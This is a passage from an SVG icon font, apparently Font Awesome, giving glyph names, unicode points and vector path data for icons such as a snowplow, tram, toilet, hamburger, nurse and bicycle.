c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM256 208c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM256 296c0 0 16 23.2002 16 32s-7.2002 16 -16 16s-16 -7.2002 -16 -16s16 -32 16 -32z
M288 352c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16z" />
    <glyph glyph-name="snowplow" unicode="&#xf7d2;" horiz-adv-x="640" 
d="M120 72c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24s-24 10.7002 -24 24s10.7002 24 24 24zM200 72c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24s-24 10.7002 -24 24s10.7002 24 24 24zM280 72c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24
s-24 10.7002 -24 24s10.7002 24 24 24zM360 72c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24s-24 10.7002 -24 24s10.7002 24 24 24zM598.6 22.5996l36.7002 -36.6992c6.2002 -6.2002 6.2002 -16.4004 0 -22.6006l-22.5996 -22.5996
c-6.2002 -6.2002 -16.4004 -6.2002 -22.6006 0l-36.6992 36.7002c-26.5 26.5 -41.4004 62.3994 -41.4004 99.8994v18.7002h-43.2002c7 -14.5996 11.2002 -30.7002 11.2002 -48c0 -61.9004 -50.0996 -112 -112 -112h-256c-61.9004 0 -112 50.0996 -112 112
c0 44.5996 26.2998 82.7998 64 100.8v91.2002c0 26.5 21.5 48 48 48h16v112c0 26.5 21.5 48 48 48h144.3c19.2998 0 36.6006 -11.4004 44.2002 -29.0996l78.2998 -182.801c3.40039 -8 5.2002 -16.5 5.2002 -25.1992v-50.9004h64v18.7002
c0 37.5 14.9004 73.3994 41.4004 99.8994l36.6992 36.7002c6.2002 6.2002 16.4004 6.2002 22.6006 0l22.5996 -22.5996c6.2002 -6.2002 6.2002 -16.4004 0 -22.6006l-36.7002 -36.6992c-14.5 -14.5 -22.5996 -34.1006 -22.5996 -54.6006v-101.6
c0 -20.5 8.09961 -40.1006 22.5996 -54.6006zM192 384v-96l64 -64h122.4l-68.6006 160h-117.8zM368 0c26.5 0 48 21.5 48 48s-21.5 48 -48 48h-256c-26.5 0 -48 -21.5 -48 -48s21.5 -48 48 -48h256z" />
    <glyph glyph-name="tenge" unicode="&#xf7d7;" horiz-adv-x="384" 
d="M372 288c6.59961 0 12 -5.40039 12 -12v-56c0 -6.59961 -5.40039 -12 -12 -12h-140v-228c0 -6.59961 -5.40039 -12 -12 -12h-56c-6.59961 0 -12 5.40039 -12 12v228h-140c-6.59961 0 -12 5.40039 -12 12v56c0 6.59961 5.40039 12 12 12h360zM372 416
c6.59961 0 12 -5.40039 12 -12v-56c0 -6.59961 -5.40039 -12 -12 -12h-360c-6.59961 0 -12 5.40039 -12 12v56c0 6.59961 5.40039 12 12 12h360z" />
    <glyph glyph-name="toilet" unicode="&#xf7d8;" horiz-adv-x="384" 
d="M368 400h-16v-156.7c20.2002 -10.0996 32 -22.2002 32 -35.2998c0 -67.2002 -34.5996 -126.2 -86.7998 -160.5l21.3994 -70.2002c6.30078 -20.5 -9.09961 -41.2998 -30.5996 -41.2998h-192c-21.5 0 -36.9004 20.7998 -30.5996 41.2998l21.3994 70.2002
c-52.2002 34.2998 -86.7998 93.2998 -86.7998 160.5c0 13.0996 11.7998 25.2002 32 35.2998v156.7h-16c-8.7998 0 -16 7.2002 -16 16v16c0 8.7998 7.2002 16 16 16h352c8.7998 0 16 -7.2002 16 -16v-16c0 -8.7998 -7.2002 -16 -16 -16zM80 376v-16
c0 -4.40039 3.59961 -8 8 -8h48c4.40039 0 8 3.59961 8 8v16c0 4.40039 -3.59961 8 -8 8h-48c-4.40039 0 -8 -3.59961 -8 -8zM192 176c77.0996 0 139.6 14.2998 139.6 32s-62.5 32 -139.6 32s-139.6 -14.2998 -139.6 -32s62.5 -32 139.6 -32z" />
    <glyph glyph-name="tools" unicode="&#xf7d9;" 
d="M501.1 52.2998c14.5 -14.5 14.5 -38.0996 0 -52.7002l-52.6992 -52.6992c-14.5 -14.6006 -38.1006 -14.6006 -52.7002 0l-117.101 117.1c-23.0996 23.0996 -27.5 57.5996 -13.8994 85.4004l-106.601 106.6h-62.0996l-96 128l64 64l128 -96v-62.0996l106.6 -106.601
c27.8008 13.7002 62.3008 9.2002 85.4004 -13.8994zM331.7 223c-8.2002 0 -16.6006 -1 -24.7002 -2.90039l-82.0996 82.1006c-0.700195 37.5 12.6992 75.0996 41.1992 103.6c37 37 89.2002 49.6006 136.601 37.9004c9.09961 -2.2998 12.2998 -13.6006 5.7002 -20.2002
l-74.4004 -74.4004l11.2998 -67.8994l67.9004 -11.2998l74.3994 74.3994c6.60059 6.60059 17.9004 3.5 20.1006 -5.5c11.7998 -47.3994 -0.799805 -99.5996 -37.9004 -136.7c-13 -13 -28 -22.5996 -43.7998 -29.5l-19.4004 19.4004c-20 20 -46.5996 31 -74.8994 31z
M227.8 141c-4.89941 -21.0996 -2.59961 -42.7998 5 -62.7002l-123.6 -123.6c-25 -25 -65.5 -25 -90.5 0s-25 65.5 0 90.5l152.399 152.5zM64 -24c13.2998 0 24 10.7998 24 24c0 13.2998 -10.7002 24 -24 24s-24 -10.7002 -24 -24c0 -13.2002 10.7998 -24 24 -24z" />
    <glyph glyph-name="tram" unicode="&#xf7da;" 
d="M288 384c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM511.5 396.1c2.2002 -8.5 -2.7998 -17.2998 -11.4004 -19.5996l-228.1 -60.7998v-91.7002h176c17.7002 0 32 -14.2998 32 -32v-224c0 -17.7002 -14.2998 -32 -32 -32
h-384c-17.7002 0 -32 14.2998 -32 32v224c0 17.7002 14.2998 32 32 32h176v83.2002l-219.9 -58.7002c-1.2998 -0.299805 -2.69922 -0.5 -4.09961 -0.5c-7.09961 0 -13.5 4.7002 -15.4004 11.7998c-2.2998 8.60059 2.80078 17.2998 11.3008 19.6006l480 128
c8.59961 2.2998 17.2998 -2.7002 19.5996 -11.3008zM176 64v96h-96v-96h96zM336 160v-96h96v96h-96zM304 160h-96v-96h96v96zM192 352c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32s32 -14.2998 32 -32s-14.2998 -32 -32 -32z" />
    <glyph glyph-name="fire-alt" unicode="&#xf7e4;" horiz-adv-x="448" 
d="M323.56 396.8c72.46 -67.2598 124.44 -177.13 124.44 -230.399c0 -127.25 -100.29 -230.4 -224 -230.4s-224 103.15 -224 230.4c0 71.6396 69.7402 190.43 168 281.6c38.2803 -35.5303 72.0801 -73.6201 99.3398 -111.17
c16.6406 20.3799 35.4199 40.6699 56.2197 59.9697zM304.09 56.1504c49.2402 34.4492 60.7803 101.229 33.4297 153.42c-3.35938 6.41992 -7.12988 13.1201 -11.2695 19.9697l-58.6299 -66.8799s-91.9004 117.359 -98.8301 125.34
c-48.4805 -58.1201 -72.79 -92.1396 -72.79 -130.75c0 -77.5098 58.71 -125.25 130.86 -125.25c28.8594 0 55.5693 8.99023 77.2295 24.1504z" />
    <glyph glyph-name="bacon" unicode="&#xf7e5;" horiz-adv-x="576" 
d="M218.92 111.61c-34.8604 -34.8799 -59.6504 -44.1602 -85.9199 -54c-26 -9.76074 -53 -20.1299 -88.1699 -52.7305l-35.7598 35.5098c-12.7002 12.6104 -12.0703 33.6104 1.79004 45.0605c36.3398 29.9795 66.21 41.0996 91.0693 50.3594
c9.16992 3.41016 68.9707 19.2607 98.7207 98.0908c8.60938 22.8096 46.3496 134.58 188.979 187.72c15.8506 5.91016 27.3604 10.2002 41 20.2998c4.53516 3.35449 12.7939 6.07617 18.4346 6.07617c7.00879 0 16.751 -3.98926 21.7451 -8.90625l37.6709 -37.3896
c-30.1504 -27.6904 -52.9102 -36.3701 -76.79 -45.3701c-28.3008 -10.6104 -57.5703 -21.5801 -97.3506 -61.3799s-50.7598 -69.0498 -61.3701 -97.3398c-9.84961 -26.3008 -19.1602 -51.1104 -54.0498 -86zM566.92 343.61
c12.7002 -12.5996 12.0801 -33.6602 -1.80957 -45.0605c-36.3701 -30.0098 -66.2402 -41.1396 -91.1104 -50.4102c-9.2002 -3.43945 -69 -19.3193 -98.7305 -98.1094c-8.93945 -23.5898 -46.7393 -134.69 -188.939 -187.69
c-15.8496 -5.89941 -27.3398 -10.1797 -40.9404 -20.2402c-4.53613 -3.35645 -12.7969 -6.08008 -18.4395 -6.08008c-7.00586 0 -16.7461 3.9873 -21.7402 8.90039l-37.6797 37.4297c30.1094 27.6699 52.8594 36.3301 76.7197 45.3301
c28.2998 10.5898 57.5098 21.54 97.2998 61.3203s50.7803 69 61.4199 97.3301c9.81055 26.3096 19.1104 51.1602 54 86c34.8906 34.8398 59.6904 44.1504 85.9502 54c26.0703 9.79004 53.0605 20.1602 88.25 52.79z" />
    <glyph glyph-name="book-medical" unicode="&#xf7e6;" horiz-adv-x="448" 
d="M448 89.5996c0 -9.59961 -3.2002 -15.999 -9.59961 -19.1992c-3.2002 -12.8008 -3.2002 -57.6006 0 -73.6006c6.39941 -6.39941 9.59961 -12.7998 9.59961 -19.2002v-16c0 -16 -12.7998 -25.5996 -25.5996 -25.5996h-326.4c-54.4004 0 -96 41.5996 -96 96v320
c0 54.4004 41.5996 96 96 96h326.4c16 0 25.5996 -9.59961 25.5996 -25.5996v-332.801zM144 280v-48c0 -4.41602 3.58398 -8 8 -8h56v-56c0 -4.41602 3.58398 -8 8 -8h48c4.41602 0 8 3.58398 8 8v56h56c4.41602 0 8 3.58398 8 8v48c0 4.41602 -3.58398 8 -8 8h-56v56
c0 4.41602 -3.58398 8 -8 8h-48c-4.41602 0 -8 -3.58398 -8 -8v-56h-56c-4.41602 0 -8 -3.58398 -8 -8zM380.8 0v64h-284.8c-16 0 -32 -12.7998 -32 -32s12.7998 -32 32 -32h284.8z" />
    <glyph glyph-name="bread-slice" unicode="&#xf7ec;" horiz-adv-x="576" 
d="M288 448c180 0 288 -93.4004 288 -169.14c0 -30.3008 -24.2402 -54.8604 -64 -54.8604v-256c0 -17.6699 -16.1201 -32 -36 -32h-376c-19.8799 0 -36 14.3301 -36 32v256c-39.7598 0 -64 24.5596 -64 54.8604c0 75.7393 108 169.14 288 169.14z" />
    <glyph glyph-name="cheese" unicode="&#xf7ef;" 
d="M0 160h512v-160c0 -17.6641 -14.3359 -32 -32 -32h-448c-17.6641 0 -32 14.3359 -32 32v160zM299.83 416c118.17 -6.2002 212.17 -104.11 212.17 -224h-512l278.7 217c4.83984 3.875 13.7998 7.01953 20 7.01953c0.311523 0 0.818359 -0.00878906 1.12988 -0.0195312z
" />
    <glyph glyph-name="clinic-medical" unicode="&#xf7f2;" horiz-adv-x="576" 
d="M288 333l218.74 -192.9c1.54004 -1.37988 3.55957 -2.04004 5.25977 -3.19922v-184.9c0 -8.83203 -7.16797 -16 -16 -16h-416c-8.83203 0 -16 7.16797 -16 16v184.94c1.78027 1.20996 3.84961 1.88965 5.46973 3.34961zM384 72v48c0 4.41602 -3.58398 8 -8 8h-56v56
c0 4.41602 -3.58398 8 -8 8h-48c-4.41602 0 -8 -3.58398 -8 -8v-56h-56c-4.41602 0 -8 -3.58398 -8 -8v-48c0 -4.41602 3.58398 -8 8 -8h56v-56c0 -4.41602 3.58398 -8 8 -8h48c4.41602 0 8 3.58398 8 8v56h56c4.41602 0 8 3.58398 8 8zM570.69 211.72
c2.93066 -2.63184 5.31055 -7.96484 5.31055 -11.9053c0 -3.38086 -1.83301 -8.16797 -4.09082 -10.6846l-21.4004 -23.8203c-2.63184 -2.93066 -7.96484 -5.30957 -11.9043 -5.30957c-3.38574 0 -8.17773 1.83691 -10.6953 4.09961l-229.32 202.271
c-2.50391 2.20898 -7.24609 4.00195 -10.585 4.00195s-8.08105 -1.79297 -10.585 -4.00195l-229.32 -202.28c-2.51758 -2.2627 -7.30957 -4.09961 -10.6953 -4.09961c-3.93848 0 -9.27246 2.37891 -11.9043 5.30957l-21.4102 23.8203
c-2.2627 2.51758 -4.09961 7.30957 -4.09961 10.6953c0 3.93945 2.37891 9.27246 5.30957 11.9043l256 226c6.2832 5.68066 18.2559 10.29 26.7256 10.29c8.46875 0 20.4424 -4.60938 26.7246 -10.29z" />
    <glyph glyph-name="comment-medical" unicode="&#xf7f5;" 
d="M256 416c141.39 0 256 -93.1201 256 -208s-114.61 -208 -256 -208h-0.473633c-30.4814 0 -78.3838 8.68164 -106.927 19.3799c-24.5996 -19.6299 -74.3398 -51.3799 -140.6 -51.3799c-4.41113 0.00488281 -7.99023 3.58887 -7.99023 8
c0 1.75879 0.981445 4.22266 2.19043 5.5c0.5 0.5 42.2598 45.4502 54.7998 95.7598c-35.5898 35.7402 -57 81.1807 -57 130.74c0 114.88 114.62 208 256 208zM352 184v48c0 4.41602 -3.58398 8 -8 8h-56v56c0 4.41602 -3.58398 8 -8 8h-48c-4.41602 0 -8 -3.58398 -8 -8
v-56h-56c-4.41602 0 -8 -3.58398 -8 -8v-48c0 -4.41602 3.58398 -8 8 -8h56v-56c0 -4.41602 3.58398 -8 8 -8h48c4.41602 0 8 3.58398 8 8v56h56c4.41602 0 8 3.58398 8 8z" />
    <glyph glyph-name="crutch" unicode="&#xf7f7;" 
d="M507.31 262.29c2.56348 -2.58301 4.64355 -7.63184 4.64355 -11.2695c0 -3.66602 -2.10742 -8.74219 -4.70312 -11.3301l-22.6201 -22.6309c-2.58691 -2.58691 -7.65625 -4.6875 -11.3145 -4.6875c-3.65918 0 -8.72852 2.10059 -11.3154 4.6875l-181 181
c-2.58789 2.58691 -4.6875 7.65625 -4.6875 11.3154s2.09961 8.72852 4.6875 11.3154l22.6904 22.5996c2.58594 2.58496 7.65332 4.68262 11.3096 4.68262s8.72363 -2.09766 11.3096 -4.68262zM327.77 195.88l55.1006 55.1201l45.25 -45.2695l-109.68 -109.681
c-10.7441 -10.748 -31.4814 -22.2393 -46.29 -25.6494l-120.25 -27.75l-102 -102c-2.58691 -2.58789 -7.65625 -4.6875 -11.3154 -4.6875s-8.72754 2.09961 -11.3154 4.6875l-22.6191 22.6191c-2.58789 2.58789 -4.6875 7.65625 -4.6875 11.3154
s2.09961 8.72852 4.6875 11.3154l102 102l27.7393 120.26c3.4248 14.8057 14.9248 35.5439 25.6699 46.29l109.671 109.67l45.25 -45.25l-55.1006 -55.1006zM273.2 141.31l9.30957 9.31055l-67.8896 67.8896l-9.31055 -9.30957
c-3.57715 -3.59082 -7.41211 -10.5127 -8.55957 -15.4502l-18.2998 -79.2998l79.2998 18.3193c4.94043 1.13379 11.8623 4.95996 15.4502 8.54004z" />
    <glyph glyph-name="egg" unicode="&#xf7fb;" horiz-adv-x="384" 
d="M192 448c106 0 192 -214 192 -320s-86 -192 -192 -192s-192 86 -192 192s86 320 192 320z" />
    <glyph glyph-name="hamburger" unicode="&#xf805;" 
d="M464 192c26.4961 0 48 -21.5039 48 -48s-21.5039 -48 -48 -48h-416c-26.4961 0 -48 21.5039 -48 48s21.5039 48 48 48h416zM480 64c8.83203 0 16 -7.16797 16 -16v-16c0 -35.3281 -28.6719 -64 -64 -64h-352c-35.3281 0 -64 28.6719 -64 64v16
c0 8.83203 7.16797 16 16 16h448zM58.6396 224c-34.5693 0 -54.6396 43.9102 -34.8193 75.8896c40.1797 64.9102 128.64 116.011 232.18 116.11c103.55 -0.0996094 192 -51.2002 232.18 -116.12c19.8008 -31.9795 -0.25 -75.8799 -34.8193 -75.8799h-394.721zM384 336
c-8.83203 0 -16 -7.16797 -16 -16s7.16797 -16 16 -16s16 7.16797 16 16s-7.16797 16 -16 16zM256 368c-8.83203 0 -16 -7.16797 -16 -16s7.16797 -16 16 -16s16 7.16797 16 16s-7.16797 16 -16 16zM128 336c-8.83203 0 -16 -7.16797 -16 -16s7.16797 -16 16 -16
s16 7.16797 16 16s-7.16797 16 -16 16z" />
    <glyph glyph-name="hand-middle-finger" unicode="&#xf806;" 
d="M479.93 130.88l0.0703125 -82.8799v0c0 -61.7969 -50.1533 -111.973 -111.95 -112h-215c-25.6074 0.00292969 -61.084 14.7012 -79.1895 32.8096l-30.9307 30.9307c-6.0332 6.03223 -10.9297 17.8525 -10.9297 26.3838v0.00585938v73.4697v0.00292969
c0 12.7383 9.24707 27.7002 20.6396 33.3975l27.3604 15v-76c0 -4.41602 3.58398 -8 8 -8s8 3.58398 8 8v147.04c0 15.2598 12.8701 28.3799 30.8701 31.3799l30.6797 5.12012c17.8203 2.96973 34.4502 -8.38965 34.4502 -23.54v-32c0 -4.41602 3.58398 -8 8 -8
s8 3.58398 8 8v200v0.0224609c0 26.4961 21.5039 48 48 48c0.408203 0 1.07129 -0.00976562 1.48047 -0.0224609c26.2695 -0.799805 46.5195 -23.7197 46.5195 -50v-198c0 -4.41602 3.58398 -8 8 -8s8 3.58398 8 8v32c0 15.1396 16.6299 26.5 34.4502 23.5303
l38.3994 -6.40039c13.46 -2.25 23.1504 -12.0996 23.1504 -23.54v-49.5898l35.6504 -8.92969c15.5986 -3.89844 28.2686 -20.1113 28.2793 -36.1904z" />
    <glyph glyph-name="hard-hat" unicode="&#xf807;" 
d="M480 160v-64h-448v64c0 80.25 49.2803 148.92 119.19 177.62l40.8096 -81.6201v112c0 8.83203 7.16797 16 16 16h96c8.83203 0 16 -7.16797 16 -16v-112l40.8096 81.6201c69.9102 -28.7002 119.19 -97.3701 119.19 -177.62zM496 64c8.83203 0 16 -7.16797 16 -16v-32
c0 -8.83203 -7.16797 -16 -16 -16h-480c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h480z" />
    <glyph glyph-name="hotdog" unicode="&#xf80f;" 
d="M488.56 424.56c12.9297 -12.9326 23.4238 -38.2715 23.4238 -56.5596s-10.4941 -43.627 -23.4238 -56.5596l-352 -352c-13.0205 -13.4824 -38.7998 -24.4238 -57.543 -24.4238c-44.1592 0 -80 35.8408 -80 80c0 18.7432 10.9414 44.5225 24.4238 57.543l352 352
c12.9326 12.9297 38.2715 23.4238 56.5596 23.4238s43.627 -10.4941 56.5596 -23.4238zM438.63 329.37c2.58691 2.58691 4.68652 7.65625 4.68652 11.3145c0 8.83301 -7.16797 16.002 -16.001 16.002c-3.65918 0 -8.72852 -2.09961 -11.3154 -4.68652
c-12.4102 -12.4102 -21.7598 -14 -34.71 -16.2305c-14.4004 -2.46973 -32.3203 -5.55957 -51.9199 -25.1494c-19.6006 -19.5898 -22.6699 -37.5205 -25.1396 -51.9199c-2.24023 -12.9502 -3.84082 -22.3105 -16.2402 -34.71
c-12.4004 -12.4004 -21.7002 -14.0098 -34.7002 -16.2305c-14.4004 -2.46973 -32.3203 -5.5498 -51.9199 -25.1396c-19.6006 -19.5898 -22.6699 -37.5205 -25.1504 -51.9199c-2.21973 -12.9502 -3.80957 -22.29 -16.2197 -34.7002s-21.71 -14.0098 -34.71 -16.2305
c-14.4004 -2.46973 -32.3203 -5.5498 -51.9199 -25.1396c-2.58691 -2.58691 -4.68652 -7.65625 -4.68652 -11.3145c0 -8.83301 7.16797 -16.002 16.001 -16.002c3.65918 0 8.72852 2.09961 11.3154 4.68652c12.4004 12.4004 21.7598 14 34.7002 16.2305
c14.3994 2.46973 32.3301 5.55957 51.9297 25.1494c19.6006 19.5898 22.6699 37.5205 25.1396 51.9199c2.23047 12.9502 3.83008 22.2998 16.2305 34.7002s21.75 14 34.7002 16.2197c14.3994 2.48047 32.3193 5.56055 51.9199 25.1504
c19.5996 19.5898 22.6699 37.5195 25.1494 51.9199c2.23047 12.9502 3.83008 22.3096 16.2305 34.71s21.7598 14 34.7002 16.2305c14.4102 2.46973 32.3301 5.5498 51.9297 25.1396zM31.4404 125.82l-11.5508 11.5498c-24.9893 24.9902 -26.6592 63.8398 -3.71973 86.7803
l207.68 207.68c22.9404 22.9395 61.79 21.2803 86.79 -3.71973l11.54 -11.5508zM480.56 258.18l11.5508 -11.54c24.9893 -25 26.6592 -63.8496 3.71973 -86.79l-207.68 -207.68c-22.9404 -22.9395 -61.79 -21.2803 -86.79 3.71973l-11.54 11.5508z" />
    <glyph glyph-name="ice-cream" unicode="&#xf810;" horiz-adv-x="448" 
d="M368 288c26.4961 0 48 -21.5039 48 -48s-21.5039 -48 -48 -48h-288c-26.4961 0 -48 21.5039 -48 48s21.5039 48 48 48h0.94043c-0.519531 4.51855 -0.94043 11.8779 -0.94043 16.4268c0 79.4883 64.5117 144 144 144s144 -64.5117 144 -144
c0 -4.54883 -0.420898 -11.9082 -0.94043 -16.4268h0.94043zM195.38 -45.6904l-99.3799 205.69h256l-99.3799 -205.69c-4.66504 -10.1084 -17.4863 -18.3135 -28.6201 -18.3135s-23.9551 8.20508 -28.6201 18.3135z" />
    <glyph glyph-name="laptop-medical" unicode="&#xf812;" horiz-adv-x="640" 
d="M232 224c-4.41602 0 -8 3.58398 -8 8v48c0 4.41602 3.58398 8 8 8h56v56c0 4.41602 3.58398 8 8 8h48c4.41602 0 8 -3.58398 8 -8v-56h56c4.41602 0 8 -3.58398 8 -8v-48c0 -4.41602 -3.58398 -8 -8 -8h-56v-56c0 -4.41602 -3.58398 -8 -8 -8h-48
c-4.41602 0 -8 3.58398 -8 8v56h-56zM576 400v-336h-512v336c0.0771484 26.4189 21.5811 47.9229 48 48h416c26.4189 -0.0771484 47.9229 -21.5811 48 -48zM512 128v256h-384v-256h384zM624 32c8.83203 0 16 -7.16797 16 -16v-16
c-0.104492 -35.2236 -28.7764 -63.8955 -64 -64h-512c-35.2236 0.104492 -63.8955 28.7764 -64 64v16c0 8.83203 7.16797 16 16 16h239.23c-0.230469 -14.5303 14.0791 -32 32.7695 -32h60.7998c18.0303 0 32 12.1904 32.7402 32h242.46z" />
    <glyph glyph-name="pager" unicode="&#xf815;" 
d="M448 384c35.3281 0 64 -28.6719 64 -64v-256c0 -35.3281 -28.6719 -64 -64 -64h-384c-35.3281 0 -64 28.6719 -64 64v256c0 35.3281 28.6719 64 64 64h384zM160 80v48h-80c-8.83203 0 -16 -7.16797 -16 -16v-16c0 -8.83203 7.16797 -16 16 -16h80zM288 96v16
c0 8.83203 -7.16797 16 -16 16h-80v-48h80c8.83203 0 16 7.16797 16 16zM448 224v64c0 17.6641 -14.3359 32 -32 32h-320c-17.6641 0 -32 -14.3359 -32 -32v-64c0 -17.6641 14.3359 -32 32 -32h320c17.6641 0 32 14.3359 32 32z" />
    <glyph glyph-name="pepper-hot" unicode="&#xf816;" 
d="M330.67 184.88h107.46l37.0498 -38.54c-48.5293 -87.4697 -206.54 -210.34 -419.18 -210.34c-30.9121 0 -56 25.0879 -56 56s25.0879 56 56 56c141.58 0 163.44 181.24 221.92 250.82l52.75 -24.2207v-89.7197zM461.76 313.25
c27.7324 -25.2861 50.2402 -76.2676 50.2402 -113.798v-0.142578c0 -13.6797 -2.2998 -26.6895 -5.55957 -39.3096l-54.6807 56.8799h-89.0898v78.2402l-74.6699 34.29c22.3398 14.0498 48.3398 22.5898 76.3398 22.5898
c16.4658 -0.00683594 42.0732 -5.36523 57.1602 -11.96c18.4502 37.2197 8.25977 61.96 1.40039 72.3203c-0.787109 1.14062 -1.42578 3.19043 -1.42578 4.57617c0 1.82227 1.03711 4.35449 2.31543 5.65332l22.9004 23c1.29688 1.31836 3.85156 2.38867 5.70117 2.38867
c2.1123 0 4.90234 -1.33398 6.22852 -2.97852c18.5596 -23.4805 35.2998 -71.9102 3.13965 -131.75z" />
    <glyph glyph-name="pizza-slice" unicode="&#xf818;" 
d="M158.87 447.85c181.91 -17.1699 332.02 -164.93 352.899 -345.71c1.87012 -16.2197 -7.89941 -31.54 -23.6191 -35.8994l-56.9404 -15.7803c-7.94043 186.39 -134.86 311.51 -322.479 317l14.8096 56.2705c4.12988 15.6992 19.1699 25.6396 35.3301 24.1191z
M100.4 335.85c176.069 -1.95996 294.88 -119.25 299.149 -294.14l-379 -105.1c-1.1709 -0.324219 -3.1084 -0.587891 -4.32422 -0.587891c-8.94824 0 -16.21 7.26172 -16.21 16.21c0 1.1582 0.239258 3.00781 0.53418 4.12793zM128 32c17.6641 0 32 14.3359 32 32
s-14.3359 32 -32 32s-32 -14.3359 -32 -32s14.3359 -32 32 -32zM176 184c17.6641 0 32 14.3359 32 32s-14.3359 32 -32 32s-32 -14.3359 -32 -32s14.3359 -32 32 -32zM280 80c17.6641 0 32 14.3359 32 32s-14.3359 32 -32 32s-32 -14.3359 -32 -32s14.3359 -32 32 -32z" />
    <glyph glyph-name="trash-restore" unicode="&#xf829;" horiz-adv-x="448" 
d="M53.2002 -19l-21.2002 339h384l-21.2002 -339c-1.55469 -24.8369 -23.0146 -44.9971 -47.8994 -45h-245.801c-24.8848 0.00292969 -46.3447 20.1631 -47.8994 45zM123.31 156.8c-10.0791 -10.6201 -2.93945 -28.7998 11.3203 -28.7998h57.3701v-112
c0 -8.83203 7.16797 -16 16 -16h32c8.83203 0 16 7.16797 16 16v112h57.3701c14.2598 0 21.3994 18.1797 11.3203 28.7998l-89.3809 94.2598c-2.52441 2.72949 -7.5918 4.94336 -11.3096 4.94336s-8.78516 -2.21387 -11.3096 -4.94336zM432 416
c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-416c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h120l9.40039 18.7002c3.58984 7.3418 13.1357 13.2998 21.3086 13.2998h0.0908203h114.3h0.0175781
c8.20215 0 17.8262 -5.95801 21.4824 -13.2998l9.40039 -18.7002h120z" />
    <glyph glyph-name="trash-restore-alt" unicode="&#xf82a;" horiz-adv-x="448" 
d="M32 -16v336h384v-336c0 -26.4961 -21.5039 -48 -48 -48h-288c-26.4961 0 -48 21.5039 -48 48zM123.31 156.8c-10.0791 -10.6201 -2.93945 -28.7998 11.3203 -28.7998h57.3701v-112c0 -8.83203 7.16797 -16 16 -16h32c8.83203 0 16 7.16797 16 16v112h57.3701
c14.2598 0 21.3994 18.1797 11.3203 28.7998l-89.3809 94.2598c-2.52441 2.72949 -7.5918 4.94336 -11.3096 4.94336s-8.78516 -2.21387 -11.3096 -4.94336zM432 416c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-416c-8.83203 0 -16 7.16797 -16 16
v32c0 8.83203 7.16797 16 16 16h120l9.40039 18.7002c3.58984 7.3418 13.1357 13.2998 21.3086 13.2998h0.0908203h114.3h0.0175781c8.20215 0 17.8262 -5.95801 21.4824 -13.2998l9.40039 -18.7002h120z" />
    <glyph glyph-name="user-nurse" unicode="&#xf82f;" horiz-adv-x="448" 
d="M57.7803 160c-8.82227 0.00976562 -15.9814 7.17773 -15.9814 16c0 2.09277 0.761719 5.30957 1.70117 7.17969c15.2305 29.8203 31.2803 62.2305 42.1699 95.54c7.58008 23.1904 10.3301 47.6904 10.3301 72.0801v49.2002l128 48l128 -48v-49.2002
c0 -24.3896 2.78027 -48.8896 10.3496 -72.0801c10.8701 -33.3096 26.9199 -65.6895 42.1504 -95.54c0.939453 -1.87012 1.70117 -5.08691 1.70117 -7.17969c0 -8.82227 -7.15918 -15.9902 -15.9814 -16h-82.3594c-22.5107 -19.6797 -51.6201 -32 -83.8604 -32
s-61.3496 12.3203 -83.8604 32h-82.3594zM184 376.33v-16.6602c0 -2.75977 2.24023 -5 5 -5h21.6699v-21.6699c0 -2.75977 2.24023 -5 5 -5h16.6602c2.75977 0 5 2.24023 5 5v21.6699h21.6699c2.75977 0 5 2.24023 5 5v16.6602c0 2.75977 -2.24023 5 -5 5h-21.6699v21.6699
c0 2.75977 -2.24023 5 -5 5h-16.6602c-2.75977 0 -5 -2.24023 -5 -5v-21.6699h-21.6699c-2.75977 0 -5 -2.24023 -5 -5zM144 288v-32c0 -44.1602 35.8398 -80 80 -80s80 35.8398 80 80v32h-160zM319.41 128c71.4902 -3.09961 128.59 -61.5996 128.59 -133.79
c0 -32.1318 -26.0781 -58.21 -58.21 -58.21v0h-331.58c-32.1318 0 -58.21 26.0781 -58.21 58.21c0 72.1904 57.0996 130.69 128.59 133.79l95.4102 -95.3896z" />
    <glyph glyph-name="wave-square" unicode="&#xf83e;" horiz-adv-x="640" 
d="M476 -32h-152c-19.8721 0 -36 16.1279 -36 36v348h-96v-156c0 -19.8721 -16.1279 -36 -36 -36h-140c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h112v156c0 19.8721 16.1279 36 36 36h152c19.8721 0 36 -16.1279 36 -36v-348h96v156
c0 19.8721 16.1279 36 36 36h140c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-112v-156c0 -19.8721 -16.1279 -36 -36 -36z" />
    <glyph glyph-name="biking" unicode="&#xf84a;" horiz-adv-x="640" 
d="M400 352c-26.4961 0 -48 21.5039 -48 48s21.5039 48 48 48s48 -21.5039 48 -48s-21.5039 -48 -48 -48zM396 231l-41.3604 33.1104l-58.25 -49.9199l41.3604 -27.5703c7.86426 -5.24316 14.248 -17.1689 14.25 -26.6201v-128c0 -17.6641 -14.3359 -32 -32 -32
s-32 14.3359 -32 32v110.88l-81.7305 54.5205c-7.86621 5.24316 -14.251 17.1719 -14.251 26.626c0 8.12305 5.00488 19.0068 11.1719 24.2939l112 96c4.95508 4.25781 14.2803 7.71289 20.8135 7.71289c6.20215 0 15.1602 -3.15039 19.9961 -7.0332l71.2197 -57h52.7803
